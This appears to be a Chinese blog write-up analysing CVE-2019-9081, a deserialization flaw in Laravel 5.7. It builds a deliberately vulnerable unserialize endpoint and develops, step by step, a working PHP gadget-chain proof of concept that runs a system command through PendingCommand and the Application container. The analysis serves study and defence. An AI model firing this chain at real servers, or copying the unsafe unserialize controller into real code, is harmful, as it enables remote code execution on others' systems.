Laravel5.7反序列化分析CVE-2019-9081

环境搭建

composer安装

composer create-project laravel/laravel laravel57 "5.7.*"

然后进入根目录

php artisan serve --host 0.0.0.0

访问http://localhost:8000/ file

需要xdebug调试 然后先配置xdebug 我用的phpstudy 配置了半天 原本想写怎么配置的 然后莫名其妙就好了 也不知道是哪里的问题 file 首先需要创建一个反序列化入口

在routes/web.php里面加一条路由

Route::get('/unserialize',"UnserializeController@uns");

然后在App\Http\Controllers创建一个UnserializeController.php

<?php

namespace App\Http\Controllers;

class UnserializeController extends Controller
{
    public function uns(){

        if(isset($_GET['c'])){

            unserialize($_GET['c']);
        }else{
            highlight_file(__FILE__);
        }
        return "uns";
    }
}

漏洞分析

laravel5.7多了PendingCommand.php这个文件 file

文档地址

主要用于命令执行 查看这个类 发现有个 __destruct()方法 file 跟进run 执行命令 file file 这里的command和parameters可控 可以先写个poc测一下

<?php
namespace Illuminate\Foundation\Testing{
    class PendingCommand
    {
        protected $command;
        protected $parameters;
        public $test;
        public function __construct(){
            $this->command="system";
            $this->parameters[]="dir";
        }
    }
}
namespace{

    use Illuminate\Foundation\Testing\PendingCommand;

    echo urlencode(serialize(new PendingCommand()));
}

mockConsoleOutput报错 file

createABufferedOutputMock()报错 file

file

这里的test为null 所以会报错 “Trying to get property ‘expectedOutput’ of non-object” file 遍历test的expectedOutput属性,但是test并没有这个属性,所以需要想办法让test拥有expectedOutput属性 跟进expectedOutput 是在InteractsWithConsole里边trait类型无法实例化

这里借用__get()魔术方法

1、__get、__set
获得一个类的成员变量时调用
这两个方法是为在类和他们的父类中没有声明的属性而设计的 
__get( $property )       当调用一个未定义的属性时访问此方法
__set( $property, $value )    给一个未定义的属性赋值时调用
这里的没有声明包括访问控制为proteced,private的属性(即没有权限访问的属性)

找到了Illuminate\Auth\GenericUser类中的get()方法 file attributes可控 可以设置一个键名为expectedOutput的数组 然后mockConsoleOutput这里边也有个类似的file 也是调用test的expectedQuestions但是expectedQuestions并不存在 也用刚刚的get()方法 所以构造的时候attributes设置为一个expectedOutput的数组一个expectedQuestions的数组 写poc

<?php
namespace Illuminate\Foundation\Testing{
    use Illuminate\Auth\GenericUser;
    class PendingCommand
    {
        protected $command;
        protected $parameters;
        public $test;
        public function __construct(){
            $this->command="system";
            $this->parameters[]="dir";
            $this->test=new GenericUser();
        }
    }
}

namespace Illuminate\Auth{
    class GenericUser{
        protected $attributes;
        public function __construct(){
            $this->attributes['expectedOutput']=['hello','world'];
            $this->attributes['expectedQuestions']=['hello','world'];

        }
    }
}

namespace{

    use Illuminate\Foundation\Testing\PendingCommand;

    echo urlencode(serialize(new PendingCommand()));
}

报错 file

Call to a member function bind() on null 说是$this->app为null file 根据注释将app设置为Illuminate\Foundation\Application的实例 poc

<?php
namespace Illuminate\Foundation\Testing{
    use Illuminate\Auth\GenericUser;
    use Illuminate\Foundation\Application;
    class PendingCommand
    {
        protected $command;
        protected $parameters;
        public $test;
        protected $app;
        public function __construct(){
            $this->command="system";
            $this->parameters[]="dir";
            $this->test=new GenericUser();
            $this->app=new Application();
        }
    }
}

namespace Illuminate\Auth{
    class GenericUser{
        protected $attributes;
        public function __construct(){
            $this->attributes['expectedOutput']=['hello','world'];
            $this->attributes['expectedQuestions']=['hello','world'];

        }
    }
}
namespace Illuminate\Foundation{
    class Application{

    }
}

namespace{

    use Illuminate\Foundation\Testing\PendingCommand;

    echo urlencode(serialize(new PendingCommand()));
}

还是报错 file

$exitCode = $this->app[Kernel::class]->call($this->command, $this->parameters);。

这一句出错 Kernel::class是完全限定名称,返回的是一个类的完整的带上命名空间的类名,在laravel这里是Illuminate\Contracts\Console\Kernel。 跟进一下 file Kernel::class值固定 先不用管 继续跟进 file 这里的this是Application所以make是调用的Application中的make file 继续跟进 file $this->aliases[$abstract]不存在 所以返回 file 继续 file 这个make会返回到container中的make file 然后进入resolve 此时的$this仍然是Application实例

protected function resolve($abstract, $parameters = [])
    {
        $abstract = $this->getAlias($abstract);

        $needsContextualBuild = ! empty($parameters)  ! is_null(
            $this->getContextualConcrete($abstract)
        );

        // If an instance of the type is currently being managed as a singleton we'll
        // just return an existing instance instead of instantiating new instances
        // so the developer can keep using the same objects instance every time.
        if (isset($this->instances[$abstract]) && ! $needsContextualBuild) {
            return $this->instances[$abstract];
        }

        $this->with[] = $parameters;

        $concrete = $this->getConcrete($abstract);

        // We're ready to instantiate an instance of the concrete type registered for
        // the binding. This will instantiate the types, as well as resolve any of
        // its "nested" dependencies recursively until all have gotten resolved.
        if ($this->isBuildable($concrete, $abstract)) {
            $object = $this->build($concrete);
        } else {
            $object = $this->make($concrete);
        }

        // If we defined any extenders for this type, we'll need to spin through them
        // and apply them to the object being built. This allows for the extension
        // of services, such as changing configuration or decorating the object.
        foreach ($this->getExtenders($abstract) as $extender) {
            $object = $extender($object, $this);
        }

        // If the requested type is registered as a singleton we'll want to cache off
        // the instances in "memory" so we can return it later without creating an
        // entirely new instance of an object on each subsequent request for it.
        if ($this->isShared($abstract) && ! $needsContextualBuild) {
            $this->instances[$abstract] = $object;
        }

        $this->fireResolvingCallbacks($abstract, $object);

        // Before returning, we will also set the resolved flag to "true" and pop off
        // the parameter overrides for this build. After those two things are done
        // we will be ready to return back the fully constructed class instance.
        $this->resolved[$abstract] = true;

        array_pop($this->with);

        return $object;
    }

file 这些只要能正常运行下来就没事 在getConcrete这里出现了问题 跟进 file file

这里的$this->bindings是我们可以控制的 因为$this是Application实例而Application继承了Container 所以这里的bindings其实就是 Application的bindings是我们可以控制的 这样我们就可以控制getConcrete的返回值了 file 这里看它俩是否相等或者是不是Closure的子类 file 如果相等则进入build不相等则进入else分支进入make然后再重新走一遍这个流程

如果我们在刚刚的getConcrete中控制$this->bindings并且让**$this->bindings[$abstract][‘concrete’]**的值为Application 那么返回值就是Application类 file 那么$concrete就是Application $abstract是kernel 然后因为不相等就会走下边的else分支进入make方法 并且参数为Application

然后又会回到resolve方法这里并且$abstract==Application 然后又进入getConcrete方法 然后继续取我们设置的$this->bindings[$abstract][‘concrete’] 的值作为返回值即返回值为Application 则$concrete为Application 然后在isBuildable的时候$concrete==$abstract 然后进入build通过ReflectionClass实例化Application 为什么要实例化Application呢 因为刚开始那里的命令执行是调用了call方法 而这个方法其实是container中的call方法 而Application继承了container所以call其实就是调用Application->call 测试poc 将Application中的$this->bindings[$abstract][‘concrete’] 的值修改为Application

<?php
namespace Illuminate\Foundation\Testing{

    use Illuminate\Auth\GenericUser;
    use Illuminate\Foundation\Application;

    class PendingCommand
    {
        protected $command;
        protected $parameters;
        public $test;
        protected $app;
        public function __construct(){
            $this->command="system";
            $this->parameters[]="dir";
            $this->test=new GenericUser();
            $this->app=new Application();
        }
    }
}
namespace Illuminate\Foundation{
    class Application{
        protected $bindings = [];
        public function __construct(){
            $this->bindings=array(
                'Illuminate\Contracts\Console\Kernel'=>array(
                    'concrete'=>'Illuminate\Foundation\Application'
                )
            );
        }
    }
}
namespace Illuminate\Auth{
    class GenericUser
    {
        protected $attributes;
        public function __construct(){
            $this->attributes['expectedOutput']=['hello','world'];
            $this->attributes['expectedQuestions']=['hello','world'];
        }
    }
}
namespace{

    use Illuminate\Foundation\Testing\PendingCommand;

    echo urlencode(serialize(new PendingCommand()));
}

file $this->bindings[$abstract][‘concrete’]已经修改为Illuminate\Foundation\Application file isbuiled中这两个属性不等 所以返回flase

file 进入到make里边

再执行一遍 file

两个属性相等为Illuminate\Foundation\Application 然后开始实例化Illuminate\Foundation\Application file

最后resolve返回的是Illuminate\Foundation\Application实例 file 为了可以更好的观察 添加了一行代码 $test=$this->app[Kernel::class]; file 可以看到test就是Illuminate\Foundation\Application实例 file

然后调用了call方法 file 跟进看一下 file

file 然后调用getMethodDependencies返回是call_user_func_arry的参数 file

file array_merge函数合并数组 得到的就是dir的数组形式 file

file 然后就执行命令了 file


Laravel5.7反序列化分析CVE-2019-9081
http://example.com/2021/05/29/OldBlog/laravel5-7反序列化分析cve-2019-9081/
作者
Autumn
发布于
2021年5月29日
许可协议